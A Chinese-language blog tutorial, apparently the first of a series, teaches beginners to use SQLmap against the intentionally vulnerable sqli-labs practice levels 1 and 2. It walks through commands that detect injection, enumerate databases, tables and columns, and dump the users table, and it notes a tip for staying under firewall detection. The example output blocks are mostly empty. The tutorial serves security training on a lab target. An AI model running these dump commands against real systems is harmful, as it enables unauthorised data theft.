摘要:本文是“SQLmap 通关 sqli-labs”系列的开篇,专为零基础小白打造。我们将首先走进 SQLmap 的“前世今生”,了解它的起源、发展和在渗透测试中的江湖地位;随后在 Kali Linux 中快速确认工具就位;接着用 sqli-labs 靶场的 Less-1 和 Less-2 两个最经典的 GET 型注入关卡,手把手教你 SQLmap 的基本用法:从注入点探测、数据库枚举到数据导出。
一、我与 SQLmap 的相遇
大家好,我是刚完成 sqli-labs 手工注入 65 关的小白。在经历了无数次手敲' union select 1,2,database()--+之后,我终于明白了两件事:一是 SQL 注入的本质就是打破数据与代码的边界;二是手工注入很酷,但自动化工具是真的香。于是,我把目光投向了 Kali Linux 里那把大名鼎鼎的瑞士军刀——SQLmap。
你可能会问,既然已经手工通关了,为什么还要学 SQLmap?答案很简单:效率和深度。手工注入让我们理解原理,而 SQLmap 则能在几秒钟内完成手工需要十分钟甚至无法完成的探测,而且它还能提供大量手工难以发现的细节。这个系列博客,正是我作为零基础小白,从用 SQLmap 跑通 sqli-labs 第 1 关,到最后征服全部 65 关的完整记录。我希望以最通俗易懂的方式,把中间的经验、命令和截图分享给你。
二、SQLmap 的前世今生:从“黑客玩具”到“业界标配”
2.1 源起:一个爱写 Python 的渗透测试员
SQLmap 的历史可以追溯到 2006 年。当时,一位名叫Bernardo Damele的意大利安全研究员(渗透测试员)在处理大量 SQL 注入漏洞时,觉得手工写UNION SELECT太繁琐,于是决定用 Python 编写一个工具来自动化这个过程。项目最开始是作为个人脚本诞生的,名字很直白——SQL + map,意为“SQL 注入映射/利用”。Bernardo 在 2007 年将其开源,发布在 SourceForge 上。
不久后,另一位核心开发者Miroslav Stampar加入了项目。Miroslav 是一位来自克罗地亚的安全专家,他对 WAF 绕过、后端数据库的深度利用有着极高的热情,今天我们所看到的许多 Tamper 脚本和高级特性都出自他手。两位“大牛”的协作,让 SQLmap 迅速从一个简单的 UNION 注入探测脚本,演变为功能极其强大的数据库接管平台。
2.2 里程碑:从脚本到框架的蜕变
2009 ~ 2012 年:SQLmap 增加了对多种数据库的支持(MySQL, PostgreSQL, Microsoft SQL Server, Oracle 等),并引入了盲注(Boolean/Time-based)技术。这让它在无回显场景下也能大展拳脚。
2013 ~ 2015 年:Tamper 脚本体系成型,能够轻松绕过各种 WAF、IDS 和输入过滤规则。文件系统访问(
--file-read/--file-write)和操作系统控制(--os-shell)功能也被加入,SQLmap 正式成为“数据库接管工具”。2016 年至今:项目迁移至 GitHub,社区活跃度极高。功能不断完善,如对 PostgreSQL 的增强支持、解析复杂请求文件、自动处理 CSRF 令牌等。几乎所有主流渗透测试发行版(Kali, Parrot, BlackArch)都将其预装。
如今,SQLmap 已经成为全球渗透测试人员、安全研究员和红队成员必备的工具,甚至在很多漏洞赏金计划中,只要提到 SQL 注入,第一个跳进脑子里的就是它。
2.3 为什么选择 Kali Linux 下的 SQLmap
Kali Linux 是 Offensive Security 公司维护的渗透测试发行版,它开箱即用地集成了 SQLmap,且一直保持较新版本。这样做的好处是:
免去复杂的安装过程,打开终端就能用。
依赖环境完好,特别是 Python 以及文件读写、OS-shell 所需的底层库。
与 sqli-labs 无缝对接,只要靶场能访问,Kali 就是最好的攻击机。
三、快速确认:你的 SQLmap 准备好了吗?
在开始之前,先打开 Kali 终端,敲入经典命令:
sqlmap --version你会看到类似如下输出:
这表示你的 SQLmap 已就绪。如果使用的是较旧的 Kali,建议执行sudo apt update && sudo apt install sqlmap更新一下。接下来,我们要明确 sqli-labs 的地址。在我的实验环境中,sqli-labs 搭建在另一台虚拟机或本机的http://192.168.137.1/sqli-labs/。请将其替换为你自己的靶场地址,后面的命令中用http://<靶场IP>/sqli-labs/表示。
四、SQLmap 基础三部曲:攻击、枚举、提取
4.1 SQLmap 的基本工作流程
SQLmap 的工作就像一名经验丰富的老中医:“望闻问切”。
望(探测注入点):向目标 URL 发送包含各种 SQL 特征字符的 Payload,观察响应(状态码、长度、报错信息)。
闻(识别技术):确定注入类型后,尝试多种注入技术,如布尔盲注、报错注入、时间盲注、联合查询等,选出最快最稳的一种。
问(枚举数据):从数据库名称、表名、列名,一步步把数据“问”出来。
切(高级利用):访问文件系统、执行系统命令(需高权限),完成最终目标。
我们学 SQLmap 也按这个流程,由浅入深。
4.2 必须记住的几个核心参数
| 参数 | 功能 | 说明 |
|---|---|---|
-u | 指定目标 URL | 必须包含注入参数,例如?id=1 |
--batch | 全自动模式 | 所有询问都按默认选择,不用人工交互 |
--dbs | 枚举所有数据库 | 探测成功后的第一步 |
--current-db | 获取当前数据库 | 知道当前使用的库名 |
-D <db> | 指定数据库 | 进行表、列枚举的前提 |
--tables | 枚举表 | 需配合-D |
-T <table> | 指定表 | 枚举列或脱数据 |
--columns | 枚举列 | 需配合-T |
--dump | 导出数据 | 把整个表内容 dump 下来 |
--level | 探测等级 1~5 | 数字越高检测越详细 |
--risk | 风险等级 1~3 | 越高风险越大,可能被 WAF 发现或影响数据 |
五、开胃菜:Less-1 GET - Error based - Single quotes - String
5.1 关卡背景
sqli-labs 的第 1 关是一个最经典的字符串型报错注入。后台 SQL 语句类似于:
SELECT * FROM users WHERE id='$id' LIMIT 0,1当我们输入?id=1'时,单引号闭合前面的条件,引发语法错误,页面直接回显 SQL 错误信息。这种“报错回显”是 sqlmap 最喜欢的场景,因为它能通过报错信息高效获取数据。
5.2 第一步:注入点探测
打开 Kali 终端,执行:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1" --batch你会看到 SQLmap 的标志性 banner 和一系列检测信息。下面对关键输出进行解读:
关键信息:GET parameter 'id' is 'MySQL UNION query ...' injectable。说明 SQLmap 已经确定这是一个 MySQL 的 UNION 联合查询注入,且后端是 MySQL 数据库。
5.3 第二步:获取所有数据库名
确认注入点后,我们开始“倒数据”:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1" --dbs --batch输出片段:
这里的security就是 sqli-labs 默认使用的数据库,而information_schema和mysql是系统库。challenges是某些关卡用到的库。
5.4 第三步:获取当前数据库
很多时候我们只关心当前库:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1" --current-db --batch输出:
5.5 第四步:枚举 security 库中的表
指定-D security并使用--tables:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1" -D security --tables --batch输出:
我们重点关注users表。
5.6 第五步:枚举 users 表的列
sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1" -D security -T users --columns --batch输出:
5.7 第六步:导出 users 表的所有数据
执行终极命令:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-1/?id=1" -D security -T users --dump --batchSQLmap 会逐行输出数据,并且因为表中可能包含密码 hash,它会自动询问你是否要破解。因为我们加了--batch,它会选择默认(不破解),但 dump 过程照常进行:
至此,我们成功用 SQLmap 在 30 秒内完成了对整个 users 表的脱裤。回想一下手工注入时的那些order by、union select,是不是觉得效率提升了一个量级?
六、巩固战果:Less-2 GET - Error based - Intiger based
第 2 关是数字型注入,后台 SQL 大概长这样:
SELECT * FROM users WHERE id=$id LIMIT 0,1输入?id=1'不会引发单引号错误,而是纯数字类型。我们不用再手动加注释,直接看 SQLmap 怎么处理。
6.1 运行同样的基础探测
sqlmap -u "http://192.168.137.1/sqli-labs/Less-2/?id=1" --batchSQLmap 探测输出会告诉你:
但因为这是数字型,它不需要使用引号闭合,在 Payload 上会略有不同。我们依然可以使用和 Less-1 完全相同的--dbs、--tables、--dump参数。
6.2 一键 dump 所有数据
如果你在得到注入点后只想直奔主题,SQLmap 也支持一条龙服务:
sqlmap -u "http://192.168.137.1/sqli-labs/Less-2/?id=1" --dump-all --batch这个命令会尝试 dump 所有库的所有表,数据量可能很大,慎用。对于 sqli-labs 这种小靶场,倒也无妨,但我们练习时还是建议指定库和表,以深刻理解每一步操作。
七、输出详解与技巧:如何阅读 SQLmap 的报告
7.1 日志文件的重要性
每次运行 SQLmap,它都会在你的用户目录下保存详细的 CSV 日志文件,路径通常为:
/root/.local/share/sqlmap/output/<目标IP或域名>/里面包含log、target.txt、dump文件夹等。当你需要事后复盘或写渗透测试报告时,这些文件是金矿。
7.2 Payload 展示
如果你希望知道 SQLmap 到底用了什么 Payload,可以加上-v 3查看详细通信过程:
sqlmap -u "http://..." -v 3 --batch你会在满屏的 HTTP 请求中看到具体的注入 Payload。对于想深入研究手工注入和自动化结合的同学来说,这是极好的学习材料。
7.3 线程和性能
默认情况下 SQLmap 是单线程的。你可以通过--threads参数提高并发(建议不超过 10,否则可能被目标防火墙察觉):
sqlmap -u "http://..." --dump --threads 5在 sqli-labs 这种本地或内网靶场中,适当调高线程能明显加快盲注速度。
八、总结
本文带你从 SQLmap 的“前世今生”出发,了解它如何由一个小脚本成长为渗透测试领域的 SQL 注入神器。随后我们在 Kali 中实战了 sqli-labs 第 1 关和第 2 关,掌握了 GET 型注入的全自动流程。你学会了:
SQLmap 的基本探测与枚举命令序列。
解读输出,确认注入类型和数据库信息。
从数据库名、表、列到完整数据的 dump 全流程。
如何保存和利用生成的日志。
但是,这只是冰山一角。很多 Web 应用并不通过 GET 参数传递敏感操作,而是使用 POST、Cookie、User-Agent 等。这些注入点 SQLmap 能不能搞定?该用什么参数?别急,下一篇我将带你攻克 Less-11 到 Less-21 等一系列关卡,把自动化注入玩出花来。
手工注入教我们原理,SQLmap 教我们高效。两者结合,才是真正的 SQL 注入之王。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。